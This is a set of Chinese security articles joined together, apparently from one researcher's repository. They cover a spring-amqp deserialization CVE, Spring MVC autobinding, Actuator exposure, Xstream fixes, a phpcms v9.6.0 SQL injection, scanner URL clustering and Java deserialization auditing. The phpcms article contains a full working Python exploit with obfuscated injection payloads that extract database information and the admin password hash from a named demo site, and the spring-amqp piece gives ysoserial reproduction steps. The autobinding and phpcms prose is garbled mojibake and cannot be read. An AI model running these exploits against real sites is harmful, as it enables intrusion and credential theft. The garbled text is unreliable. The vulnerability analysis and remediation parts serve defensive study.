上面代码可以看到在deserialize函数中hook了objectInputStream的resolveClass方法并调用WhiteListDeserializingMessageConverter类的checkWhiteList方法对反序列化的类进行白名单检查,如果反序列化的类不在白名单就抛出异常。WhiteListDeserializingMessageConverter类中同时实现了setWhiteListPatterns方法来设置反序列化的白名单。但在1.7.3版本中并未见到任何地方使用该函数进行白名单设置,所以这个白名单控制还是依赖使用到spring-amqp的开发人员自行设置,如果开发人员不设置依旧可能存在反序列化漏洞。 在SerializationUtils类的反序列化方法中则未进行任何安全校验: ``` public static Object deserialize(byte[] bytes) { if (bytes == null) { return null; } try { return deserialize(new ObjectInputStream(new ByteArrayInputStream(bytes))); } ...... public static Object deserialize(ObjectInputStream stream) { if (stream == null) { return null; } try { return stream.readObject(); } ...... } ``` 而本次漏洞触发点getBodyContentAsString函数中调用的正是SerializationUtils的deserialize方法。 ### 漏洞利用 Message类中toString方法调用了getBodyContentAsString函数,而该漏洞发现者介绍,该方法在代码中许多错误处理及日志记录中会调用到并给出了相关[demo](https://lgtm.com/blog/static/spring_amqp/Application.java)。该程序只允许接收JSON格式消息,此时使用ysoserial生成payload,并将 Content-Type设置为application/x-java-serialized-object,然后发送消息,因为demo程序只允许接收json格式消息,所以会触发异常,从而调用并将消息带入toString函数触发漏洞执行任意代码。 可以使用[spring-amqp-samples](https://github.com/spring-projects/spring-amqp-samples)中的demo,将Application中container方法中添加: ``` listenerAdapter.setMessageConverter(new Jackson2JsonMessageConverter()); ``` 在测试用例中修改发送消息格式: ``` public void test() throws Exception { InputStream in = new FileInputStream("testfile"); ByteArrayOutputStream bytestream = new ByteArrayOutputStream(); int ch; while((ch = in.read()) != -1) { bytestream.write(ch); } byte[] data = bytestream.toByteArray(); Message message = MessageBuilder.withBody(data) .setContentType(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT) .setMessageId("8045") .setHeader("foo", "test") .build(); rabbitTemplate.convertAndSend(Application.queueName, message); receiver.getLatch().await(10000, TimeUnit.MILLISECONDS); } ``` 安装RabbitMQ,mac下安装使用命令即可: >brew install rabbitmq 运行RabbitMQ,并在浏览器打开localhost:15672看是否已运行,默认账号密码为guest。在resources目录创建application.properties文件,内容如下: ``` spring.rabbitmq.host=localhost spring.rabbitmq.port=5672 spring.rabbitmq.username=guest spring.rabbitmq.password=guest spring.rabbitmq.virtualHost= ``` 使用ysoserial生成payload文件,在pom依赖中添加commons-collections 3.1,接着调试运行即可进入到tosting函数,并弹出计算器:。 ![详细图](http://xianzhi.aliyun.com/forum/attachment/thumb/Mon_1709/4_1250798584134789_633cbb47fad8add.png) ### 补丁分析 在修复版本以1.7.4为例,getBodyContentAsString中反序列化接口改为调用SerializerMessageConverter的fromMessage方法将AMQP消息转换为对象,并使用setWhiteListPatterns函数设置了允许被反序列化类的白名单,只允许反序列化java.util.*和java.lang.*开头的类: ``` static { SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*")); } ``` 详细见https://github.com/spring-projects/spring-amqp/commit/36e55998f6352ba3498be950ccab1d5f4d0ce655 ### 参考 * https://lgtm.com/blog/spring_amqp_CVE-2017-8045 * http://www.cnvd.org.cn/webinfo/show/4247 * https://pivotal.io/security/cve-2017-8045 * https://jira.spring.io/browse/AMQP-766 * https://xianzhi.aliyun.com/forum/read/2188.html ================================================ FILE: Spring MVC Autobinding漏洞实例初窥.md ================================================ ### ʱnowillҲ֪һƪԶ©¡[dzԶ©](https://xianzhi.aliyun.com/forum/read/1801.html)ϸȤĿԿ¡ԱƪصʵSpring MVC Autobinding© Autobinding-Զ©ݲͬ/ܣ©мͬĽз£ * Mass Assignment: Ruby on Rails, NodeJS * Autobinding: Spring MVC, ASP.NET MVC * Object injection: PHP(ע롢л©) ʱԱԶHTTP󶨵УӶʹԱ׵ʹøÿܡ﹥߾Ϳַͨhttp󣬽󶨵ϣ߼ʹøöʱͿܲһЩԤϵĽΪイSpring MVCܣΪԶ©ЩϢԲοowaspϹ[Mass Assignment](https://www.owasp.org/index.php/Mass_Assignment_Cheat_Sheet#Spring_MVC)Ľܡ ´ʵ[ZeroNights-HackQuest-2016](https://github.com/GrrrDog/ZeroNights-HackQuest-2016)demoΪ ### @ModelAttributeע Spring mvcУע@ModelAttributeһdzõע⣬书Ҫ棺 * ڲϣὫͻ˴ݹIJע뵽ָУһὫԶModelMapУViewʹã * ڷϣÿһ@RequestMappingעķǰִУзֵԶ÷ֵ뵽ModelMapУ @ModelAttributeעһIJ,FormURLлȡ ``` java @RequestMapping(value = "/home", method = RequestMethod.GET) public String home(@ModelAttribute User user, Model model) { if (showSecret){ model.addAttribute("firstSecret", firstSecret); } return "home"; } ``` viewͨ${user.name}ɷʡעʱUserһҪûвĹ캯磺 ``` java public class User { private String name; private String pass; private Integer weight; public User() { } public User(String name, String pass, Integer weight) { this.name=name; this.pass=pass; this.weight=weight; } ...... } ``` @ModelAttributeעһ,÷ڴcontrollerÿ@RequestMappingִǰִ ``` @ModelAttribute("showSecret") public Boolean getShowSectet() { logger.debug("flag: " + showSecret); return showSecret; } ``` ### @SessionAttributesע Ĭ£ModelMap е request Ҳ˵ModelMap еԽ١ϣڶй ModelMap еԣ뽫ת浽 session У ModelMap ԲſԱʡ Spring ѡָ ModelMap еЩҪת浽 session УԱһӦ ModelMap блܷʵЩԡһͨඨ崦ע @SessionAttributes("user") עʵֵġSpringMVC ͻԶ @SessionAttributes ע뵽 ModelMap setup action IJбʱȥ ModelMap ȡĶӵбֻҪȥ SessionStatus setComplete() ͻһֱ Session УӶʵ Session ϢĹ ### justiceleague ʵ ѳԿӦò˵aboutregSign up Forgot password4ҳɡǹעصһعܣôƹȫ֤һ롣ǹעصôƹһعܡ 1ȿresetѲӰ߼ɾ׶ ``` @Controller @SessionAttributes("user") public class ResetPasswordController { private UserService userService; ... @RequestMapping(value = "/reset", method = RequestMethod.POST) public String resetHandler(@RequestParam String username, Model model) { User user = userService.findByName(username); if (user == null) { return "reset"; } model.addAttribute("user", user); return "redirect: resetQuestion"; } ``` ӲȡusernameûûuserŵModelСΪControllerʹ@SessionAttributes("user")ͬʱҲԶuserŵsessionСȻתresetQuestionһذȫУҳ档 ΪʲôԶuserŵsessionУԭ@SessionAttributesע 2resetQuestionһذȫУҳresetViewQuestionHandlerչ ``` @RequestMapping(value = "/resetQuestion", method = RequestMethod.GET) public String resetViewQuestionHandler(@ModelAttribute User user) { logger.info("Welcome resetQuestion ! " + user); return "resetQuestion"; } ``` ʹ@ModelAttribute User userʵǴsessionлȡuser󡣵userijԱʱuserӦԱֵ ԵǸresetQuestionHandlerGETʱӡanswer=heheͿԸsessionеĶֵԭһصİȫ޸ijɡheheһУ鰲ȫʱ֤ɹһ ### ȫ Spring MVCпʹ@InitBinderע⣬ͨWebDataBinderķsetAllowedFieldssetDisallowedFields󶨵IJ ### ο [1] https://www.owasp.org/index.php/Mass_Assignment_Cheat_Sheet#Spring_MVC [2] http://bobao.360.cn/learning/detail/3991.html [3] https://github.com/GrrrDog/ZeroNights-HackQuest-2016 ================================================ FILE: SpringBoot应用监控Actuator使用的安全隐患.md ================================================ ### 概述 微服务作为一项在云中部署应用和服务的新技术是当下比较热门话题,而微服务的特点决定了功能模块的部署是分布式的,运行在不同的机器上相互通过服务调用进行交互,业务流会经过多个微服务的处理和传递,在这种框架下,微服务的监控显得尤为重要。 而[Actuator](https://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#production-ready)正是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。 ### Actuator使用 Actuator应用监控使用只需要添加spring-boot-starter-actuator依赖即可,如下: ``` org.springframework.boot spring-boot-starter-actuator ``` 可以在application.properties中指定actuator的访问路径,如指定路径为/monitor: ``` management.context-path=/monitor ``` 此时,运行示例,访问/monitor/env即可查看系统环境变量的配置信息,之后再访问/monitor/trace即可查看所有Web请求的详细信息,包括请求方法、路径、时间戳以及请求和响应的头信息甚至cookie信息,如图: ![9vCBvQ.jpg](https://s1.ax1x.com/2018/03/29/9vCBvQ.jpg) Actuator监控分成两类:原生端点和用户自定义扩展端点,原生的主要有: | 路径 | 描述| | ------------- |:-------------:| | /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 | | /beans | 描述应用程序上下文里全部的Bean,以及它们的关系 | | /env | 获取全部环境属性 | | /configprops | 描述配置属性(包含默认值)如何注入Bean | | /dump | 获取线程活动的快照 | | /health | 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供 | | /info | 获取应用程序的定制信息,这些信息由info打头的属性提供 | | /mappings | 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 | | /metrics | 报告各种应用程序度量信息,比如内存用量和HTTP请求计数 | | /shutdown | 关闭应用程序,要求endpoints.shutdown.enabled设置为true | | /trace | 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) | ### 安全措施 如果上述请求接口不做任何安全限制,安全隐患显而易见。实际上Spring Boot也提供了安全限制功能。比如要禁用/env接口,则可设置如下: ``` endpoints.env.enabled= false ``` 如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口: ``` endpoints.enabled = false endpoints.metrics.enabled = true ``` 另外也可以引入spring-boot-starter-security依赖 ``` org.springframework.boot spring-boot-starter-security ``` 在application.properties中指定actuator的端口以及开启security功能,配置访问权限验证,这时再访问actuator功能时就会弹出登录窗口,需要输入账号密码验证后才允许访问。 ``` management.port=8099 management.security.enabled=true security.user.name=admin security.user.password=admin ``` ### 安全建议 在使用Actuator时,不正确的使用或者一些不经意的疏忽,就会造成严重的信息泄露等安全隐患。在代码审计时如果是springboot项目并且遇到actuator依赖,则有必要对安全依赖及配置进行复查。也可作为一条规则添加到黑盒扫描器中进一步把控。 安全的做法是一定要引入security依赖,打开安全限制并进行身份验证。同时设置单独的Actuator管理端口并配置不对外网开放。 ================================================ FILE: Xstream反序列化漏洞修复方案.md ================================================ ## Xstream反序列化漏洞修复方案 ### 漏洞描述 程序在使用Xstream的fromXML方法将xml数据反序列化为java对象时。当输入的xml数据可以被用户控制,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 ### 漏洞示例 漏洞代码示例如下: ``` java ...... //读取对象输入流,并进行反序列化 InputStream importStream = importFile.getInputStream(); importXML = IOUtils.toString(importStream, "UTF-8"); XStream xStream = new XStream(); //调用fromXML进行反序列化 importData = (Myclassname) xStream.fromXML(importXML); ...... ``` 代码中直接利用可被用户控制的请求输入xml数据作为fromXML的参数使用,这里输入可能是输入流、文件、post参数等。并且没有设置允许反序列化类的白名单,即可确认存在反序列化漏洞。 ### 修复方案 如果可以明确反序列化对象的类名,则可在反序列化时设置允许被反序列化类的白名单(推荐),具体实现方法如下: #### 使用白名单校验方案(推荐) 使用Xstream的addPermission方法来实现白名单控制,示例代码如下: ``` java XStream xstream = new XStream(); // 首先清除默认设置,然后进行自定义设置 xstream.addPermission(NoTypePermission.NONE); // 添加一些基础的类型,如Array、NULL、primitive xstream.addPermission(ArrayTypePermission.ARRAYS); xstream.addPermission(NullPermission.NULL); xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); // 添加自定义的类列表 stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class})); // 添加同一个package下的多个类型 xstream.allowTypesByWildcard(new String[] {Blog.class.getPackage().getName()+".*"}); ``` 可以根据业务需求设置白名单。在设置前一定要清除默认设置,即addPermission(NoTypePermission.NONE)。Xstream内置了很多类型,可以参考[Xstream官方示例](http://x-stream.github.io/security.html#example) #### 使用黑名单校验方案 使用Xstream的denyPermission方法可以实现黑名单控制,但不推荐使用该方法。 ### 安全建议 1. 业务需要使用反序列化操作时,尽量避免反序列化数据由外部输入,这样可避免被恶意用户控制 2. 更新org.codehaus.groovy等第三方依赖库版本,已公开的关于xstream反序列化漏洞利用方式是通过Groovy的漏洞CVE-2015-3253,只要Groovy版本在1.7.0至2.4.3之间都受影响。所以建议修复本漏洞的同时也更新groovy等依赖库的版本 ### 参考文档 * [应用安全:JAVA反序列化漏洞之殇](https://github.com/Cryin/Paper/blob/master/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8:JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8B%E6%AE%87.md) * [Xstream官方示例](http://x-stream.github.io/security.html#example) ================================================ FILE: phpcms v9.6.0 wap模块 SQL注入分析.md ================================================ ### phpcms v9.6.0 sys_authܲδУsqlע >Auth:Cryin' ------- ### 쿴phpcms v9ע©˵δģѾ¸˷©ԭԼ÷ʽ©øоޣԿ²֤©ϵPOCдһűش֤£ ![](http://i1.piimg.com/1949/def3dc15a41984da.png) ### POC Pythonű룺 ```python #!/usr/bin/env python # encoding:utf-8 import requests import urllib import sys class Poc(): def __init__(self): self.cookie={} def test(self): #url = 'http://10.65.10.195/phpcms_v9.6.0_GBK' url = 'http://v9.demo.phpcms.cn/' print '[+]Start : PHPCMS_v9.6.0 sqli test...' cookie_payload='/index.php?m=wap&a=index&siteid=1' info_paylaod='%*27an*d%20e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374))x))' admin_paylaod='%*27an*d%20e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x706f6374657374,username,0x23,password,0x3a,encrypt,0x706f6374657374) fr*om v9_admin li*mit 0,1)x))' url_padding = '%23%26m%3D1%26f%3Dtest%26modelid%3D2%26catid%3D6' encode_url=url+'/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' exploit_url=url+'/index.php?m=content&c=down&a_k=' #get test cookies self.get_cookie(url,cookie_payload) #get mysql info self.get_sqlinfo(encode_url,info_paylaod,url_padding,exploit_url) #get admin info self.get_admininfo(encode_url,admin_paylaod,url_padding,exploit_url) def get_cookie(self,url,payload): resp=requests.get(url+payload) for key in resp.cookies: if key.name[-7:] == '_siteid': cookie_head = key.name[:6] self.cookie[cookie_head+'_userid'] = key.value print '[+] Get Cookie : ' + str(self.cookie) return self.cookie def get_sqlinfo(self,url,payload,padding,exploit_url): sqli_payload='' resp=requests.get(url+payload+padding,cookies=self.cookie) for key in resp.cookies: if key.name[-9:] == '_att_json': sqli_payload = key.value print '[+] Get mysql info Payload : ' + sqli_payload info_link = exploit_url + sqli_payload sqlinfo=requests.get(info_link,cookies=self.cookie) resp = sqlinfo.content print '[+] Get mysql info : ' + resp.split('poctest')[1] def get_admininfo(self,url,payload,padding,exploit_url): sqli_payload='' resp=requests.get(url+payload+padding,cookies=self.cookie) for key in resp.cookies: if key.name[-9:] == '_att_json': sqli_payload = key.value print '[+] Get admin info Payload : ' + sqli_payload admininfo_link = exploit_url + sqli_payload admininfo=requests.get(admininfo_link,cookies=self.cookie) resp = admininfo.content print '[+] Get site admin info : ' + resp.split('poctest')[1] if __name__ == '__main__': phpcms = Poc() phpcms.test() ``` ### ©ԭ дʱ뾡һԵ©ԭдphpcms v9.6.0 sys_authڽܲδʵУsql injection©phpcms\modules\content\down.phpļinitУ: ```php public function init() { $a_k = trim($_GET['a_k']);//ȡa_k if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//ʹsys_authܲDECODEsystem.phpļеauth_key if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); parse_str($a_k);//ַܺ if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $MODEL = getcache('model','commons'); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; $this->db->table_name = $tablename.'_data'; $rs = $this->db->get_one(array('id'=>$id)); //idsqlѯ ......ִʡ.... ...... ``` ͨGETȡ'a_k'ֵsys_authнܣﴫ'DECODE'Լļcaches\configs\system.phpļеauth_keyֶΡԿ֪ʹauth_keyнܲԲ鿴phpcms\libs\functions\global.func.php384sys_authĶ塣 ڶa_kܺʹparse_strַͬʱ롣´룬idΪ:'union select ```php ``` ڵ26д봦(down.php)idsqlѯ䡣 ### © ©Ѿ˵ˣҪ©ȵöpayloadмܲڱصûauth_keyֵǿ֪ģǿ϶ͨáϸ£нܵķǿ϶ӦļֻܷҪڳҵüܷܻȡĽӿڡDZͨüд©վˣȻҲҪ취עpayloadܹ˽뵽ӿڣҲ˵һ©ˡ ˼·Ϳڳ򹤳ȫsys_authENCODEķͨϵPOCԿѾENCODEطԿ©ҲǷdzϸģ¡ phpcms\libs\classes\param.class.phpļ86Уset_cookie ```php public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var;//ȡsystem.phpļcookie_preֵΪcookiesֶkeyǰ׺ $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);//setcookie } } ``` ӴпԿڵsetcookieʱsys_authҴʱENCODEܲsys_authп˽⵽Ĭʹõkeysystem.phpļеauth_keyTʵֶpayloadмܵĿġ ʣΰpayloadĴˣҲʱ©һ˾úĵطphpcms\modules\attachment\attachments.phpļ239swfupload_jsonʵУ ```php public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src']));//ȡsrcsafe_replace $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr);//json_encode봦 $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str);//Ϊcookieֵ return true; } } ``` set_cookieatt_jsonΪcookiesֶεkeyһ֣set_cookieпԿsystem.phpļеcookie_preƴΪcookieskeysrcaidfilenameȲjsonócookieֵsrcֻsafe_replaceĴsafe_replaceĶ: ```php function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; } ``` Ϊȫ˺safe_replace%20%27%2527ȶ滻ɾͬ*Ҳ滻ɾ%*27ֻʣ%27.ͿԶsqlעpayloadʵĴɴset_cookieӶмܲ: ```sql %*27uni*on%20se*lect co*ncat(0x706f6374657374,ver*sion(),0x706f6374657374),2,3,4,5,6,7,8,9,10,11,12# ``` ### POCʵ ڲʱҪһ㣬attachmentsһ캯,£ ```php function __construct() { pc_base::load_app_func('global'); $this->upload_url = pc_base::load_config('system','upload_url'); $this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg'); $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0; $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8; //?D??????? if(empty($this->userid)){ showmessage(L('please_login','','member')); } } ``` ȡuseridֵcookie_useridֶλȡ߱userid_flashֵȡжϣΪת¼ҳ棬ҪȷһҳȡcookieȻÿϻȡcookieٽм⡣ ҳʵֵĹɼcookiepocе/index.php?m=wap&a=index&siteid=1ҳ棬wapģ鹹캯set_cookieʵ˼cookie ```php function __construct() { $this->db = pc_base::load_model('content_model'); $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap'); $this->types = getcache('wap_type','wap'); $this->wap = $this->wap_site[$this->siteid]; define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); if($this->wap['status']!=1) exit(L('wap_close_status')); } ``` Ȼ©ԭѾˣҪʵֶԸ©ļ⣬ǻȡcookiesֶεkeyǰ׺'cookie_pre'cookiepayloadмܴӶӦ'cookie_pre'_att_jsonֶжȡܺpayload©/index.php?m=content&c=down&a_k=payloadǷעɹɡphpcmsٷʾվIJ: ![](http://i1.piimg.com/1949/82f0c6b1bcd52c27.png) ### ©޸ ©ú©߲©÷֪ûз©һ֮ ȻûʵȥԣΪ©÷ʽܵ´waf޷⡢עpayloadΪ˶*滻ɾpayloadԴʹл ޸ĸ©ôӴ㼶޸ΪطҪӦ >* safe_replace(Ȼ˴ƹǺܻܿDZڵע) >* sys_authݺӦȫУ ޣвָ֮~ ### ο [1] https://www.secpulse.com/archives/57486.html [2] http://v9.demo.phpcms.cn/ ================================================ FILE: 基于Web漏洞扫描的URL及网页框架聚类研究.md ================================================ ### 基于Web漏洞扫描的URL及网页框架聚类研究 > from https://github.com/Cryin/Paper 当前WEB漏洞扫描产品在扫描站点时,针对同一类URL(尤其是rewrite后的url,无法像传统静态页面进行去重)、框架下的网页存在相同的安全漏洞会进行重复扫描,这个过程会消耗大量时间和性能。将同类URL及页面进行聚类,选取一个URL页面链接代表整类链接进行扫描,从而能够极大地提升扫描器的扫描效率。 在研究完整个课题并开发完成项目后,才发现yahoo的研究人员早在2008年就提出了完全相似的设计及实现方法。 ![](http://i1.piimg.com/567571/278a528e18b420a5.png) 从这张截图就可看出整个方案的思路和流程,不敢相信尽如此巧合。在设计方案时完全没有找到并阅读这个专利。也感叹国外技术发展之早。现将研究参考资料整理如下,感谢这些富有分享精神的技术研究人员。如果有研究该技术的朋友或许能参考: * [Python实现的treelib,树状存储,基于层次聚类URL链接](https://github.com/caesar0301/treelib) * [simhash算法原理及实现,基于内容、框架的聚类](http://yanyiwu.com/work/2014/01/30/simhash-shi-xian-xiang-jie.html) * [海量数据相似度计算之simhash和海明距离](http://www.lanceyan.com/tech/arch/simhash_hamming_distance_similarity.html) * [海量数据相似度计算之simhash短文本查找](http://www.lanceyan.com/tech/arch/simhash_hamming_distance_similarity2-html.html) * [TECHNIQUES FOR CLUSTERING STRUCTURALLY SIMILAR WEB PAGES](https://www.google.com/patents/US20080010291) * [浅谈动态爬虫与去重](http://bobao.360.cn/learning/detail/3391.html) ================================================ FILE: 应用安全:JAVA反序列化漏洞之殇.md ================================================ ## 应用安全:JAVA反序列化漏洞之殇 By Cryin' > 关于反序列化漏洞分析及利用研究的文章不少,但鲜有检测及修复方面的介绍,本文旨站在应用安全的角度,从安全编码、代码审计、漏洞检测及修复方案对反序列化漏洞进行详细分享。 ### 概述 序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。 #### 漏洞成因 序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 漏洞代码示例如下: ``` java ...... //读取输入流,并转换对象 InputStream in=request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(in); //恢复对象 ois.readObject(); ois.close(); ``` 这里特别要注意的是非预期的对象,正因为此java标准库及大量第三方公共类库成为反序列化漏洞利用的关键。安全研究人员已经发现大量利用反序列化漏洞执行任意代码的方法,最让大家熟悉的是Gabriel Lawrence和Chris Frohoff在《[Marshalling Pickles how deserializing objects can ruin your day](https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)》中提出的利用Apache Commons Collection实现任意代码执行。此后安全研究人员也陆续爆出XML、Json、Yaml等反序列化的相关漏洞。 除了commons-collections 3.1可以用来利用java反序列化漏洞,还有更多第三方库同样可以用来利用反序列化漏洞并执行任意代码,部分如下: * commons-fileupload 1.3.1 * commons-io 2.4 * commons-collections 3.1 * commons-logging 1.2 * commons-beanutils 1.9.2 * org.slf4j:slf4j-api 1.7.21 * com.mchange:mchange-commons-java 0.2.11 * org.apache.commons:commons-collections 4.0 * com.mchange:c3p0 0.9.5.2 * org.beanshell:bsh 2.0b5 * org.codehaus.groovy:groovy 2.3.9 * ...... ### Java反序列化详解 #### 序列化数据结构 通过查看序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xAC ED。接下来是两字节的版本号0x00 05的数据。此外还包含了类名、成员变量的类型和个数等。 这里以类SerialObject示例来详细进行介绍Java对象序列化后的数据结构: ``` java public class SerialObject implements Serializable{ private static final long serialVersionUID = 5754104541168322017L; private int id; public String name; public SerialObject(int id,String name){ this.id=id; this.name=name; } ... } ``` 序列化SerialObject实例后以二进制格式查看: ``` 00000000: aced 0005 7372 0024 636f 6d2e 7878 7878 ....sr.$com.xxxx 00000010: 7878 2e73 6563 2e77 6562 2e68 6f6d 652e xx.sec.web.home. 00000020: 5365 7269 616c 4f62 6a65 6374 4fda af97 SerialObjectO... 00000030: f8cc c5e1 0200 0249 0002 6964 4c00 046e .......I..idL..n 00000040: 616d 6574 0012 4c6a 6176 612f 6c61 6e67 amet..Ljava/lang 00000050: 2f53 7472 696e 673b 7870 0000 07e1 7400 /String;xp....t. 00000060: 0563 7279 696e 0a .cryin. ``` 序列化的数据流以魔术数字和版本号开头,这个值是在调用ObjectOutputStream序列化时,由writeStreamHeader方法写入: ```java protected void writeStreamHeader() throws IOException { bout.writeShort(STREAM_MAGIC);//STREAM_MAGIC (2 bytes) 0xACED bout.writeShort(STREAM_VERSION);//STREAM_VERSION (2 bytes) 5 } ``` 序列化后的SerialObject对象详细结构: ``` STREAM_MAGIC (2 bytes) 0xACED STREAM_VERSION (2 bytes) 0x0005 TC_OBJECT (1 byte) 0x73 TC_CLASSDESC (1 byte) 0x72 className length (2 bytes) 0x24 = 36 text (36 bytes) com.xxxxxx.sec.web.home.SerialObject serialVersionUID (8 bytes) 0x4FDAAF97F8CCC5E1 = 5754104541168322017 classDescInfo classDescFlags (1 byte) 0x02 = SC_SERIALIZABLE fields count (2 bytes) 2 field[0] primitiveDesc prim_typecode (1 byte) I = integer fieldName length (2 bytes) 2 text (2 bytes) id field[1] objectDesc obj_typecode (1 byte) L = object fieldName length (2 bytes) 4 text (4 bytes) name className1 TC_STRING (1 byte) 0x74 length (2 bytes) 0x12 = 18 text (18 bytes) Ljava/lang/String; classAnnotation TC_ENDBLOCKDATA (1 byte) 0x78 superClassDesc TC_NULL (1 byte) 0x70 classdata[] classdata[0] (4 bytes) 0xe107 = id = 2017 classdata[1] TC_STRING (1 byte) 0x74 length (2 bytes) 5 text (8 bytes) cryin ``` #### 反序列化过程详解 Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。 如果类描述符是动态代理类,则调用resolveProxyClass方法来获取本地类。如果不是动态代理类则调用resolveClass方法来获取本地类。如果无法解析该类,则抛出ClassNotFoundException异常。 如果反序列化对象不是String、array、enum类型,ObjectStreamClass包含的类会在本地被检索,如果这个本地类没有实现java.io.Serializable或者externalizable接口,则抛出InvalidClassException异常。因为只有实现了Serializable和Externalizable接口的类的对象才能被序列化。 ### 反序列化漏洞检测方案 #### 代码审计 反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下: ``` ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject ... ``` 同时也要关注存在漏洞的第三方库及版本是否安全。 #### 进阶审计 对于直接获取用户输入进行反序列化操作这种点比较好审计并发现,目前反序列化漏洞已经被谈起太多次了,所以有经验的开发都会在代码中有相应的修复。但并不是所有修复都无懈可击。比如采用黑名单校验的修复方式,对于这种修复可在工程代码中尝试挖掘新的可以利用的’gadget‘。 代码中有使用到反序列化操作,那自身项目工程中肯定存在可以被反序列化的类,包括Java自身、第三方库有大量这样的类,可被反序列化的类有一个特点,就是该类必定实现了Serializable接口,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的。一个典型的示例如下: ``` public class SerialObject implements Serializable{ private static final long serialVersionUID = 5754104541168322017L; private int id; public String name; public SerialObject(int id,String name){ this.id=id; this.name=name; } public void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); } } ``` 所以在代码审计时对这些类也可进行特别关注,分析并确认是否有可能被发序列化漏洞利用执行任意代码。发现新的可利用的类即可突破使用黑名单进行校验的一些应用。 #### 白盒检测 